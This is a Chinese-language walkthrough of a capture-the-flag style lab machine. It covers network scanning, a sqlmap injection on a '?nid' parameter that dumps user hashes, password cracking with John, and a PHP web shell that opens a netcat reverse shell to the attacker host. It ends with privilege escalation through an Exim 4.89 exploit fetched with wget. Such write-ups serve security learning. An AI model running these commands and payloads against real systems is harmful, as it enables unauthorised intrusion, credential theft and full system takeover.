查看靶机Ip
arp-scan -l
靶机:192.168.149.155
主机:192.168.149.154
扫描端口
nmap -sS -A 192.168.149.155 -p-
dirb http://192.168.149.155
登录网站
在主页随便点击之后发现 ?nid=1 的传参,直接上sqlmap测试是否存在常规的sql注入
sqlmap的使用
sqlmap -u "http://192.168.149.155/?nid=*" #测试是否崔在SQL注入
sqlmap -u "http://192.168.149.155/?nid=*" --is-db #测试当前注入权限是否是最高权限
sqlmap -u "http://192.168.149.155/?nid=*" --current-use #查看当前用户
dbuser@localhost
sqlmap -u "http://192.168.149.155/?nid=*" --current-db #查看当前数据库
sqlmap -u "http://192.168.149.155/?nid=*" --tables -D "d7db" #查看d7db(当前数据库)下的所有表名
sqlmap -u "http://192.168.149.155/?nid=*" --dump -C "uid,name,pass,mail,login" -T "users" -D "d7db"
#查看选定字段(uid、name、pass、mail、login)中的所有数据
1 admin | $S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z | dcau-user@outlook.com
2 |john | $S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF | john@blahsdfsfd.org
密码解密
使用John解密
john pass.txt
turtle
登录网站
john turtle
发现这里可以上传
上传shell
<?php
system("nc -e /bin/bash 192.168.149.154 4444");
?>
开启监听
提权
交互
查看是否存在suid提权
find / -perm -4000 -type f 2>/dev/null
查看exim4命令版本
exim4 --version
Exim version 4.89
在漏洞库里面寻找可利用的漏洞
searchsploit exim
将文件复制到桌面
cp /usr/share/exploitdb/exploits/linux/local/46996.sh 46996.sh
开启服务,下载到靶机
kali:python2 -m SimpleHTTPServer 80
wget http://192.168.149.154:80/46996.sh
执行脚本
./46996.sh -m netcat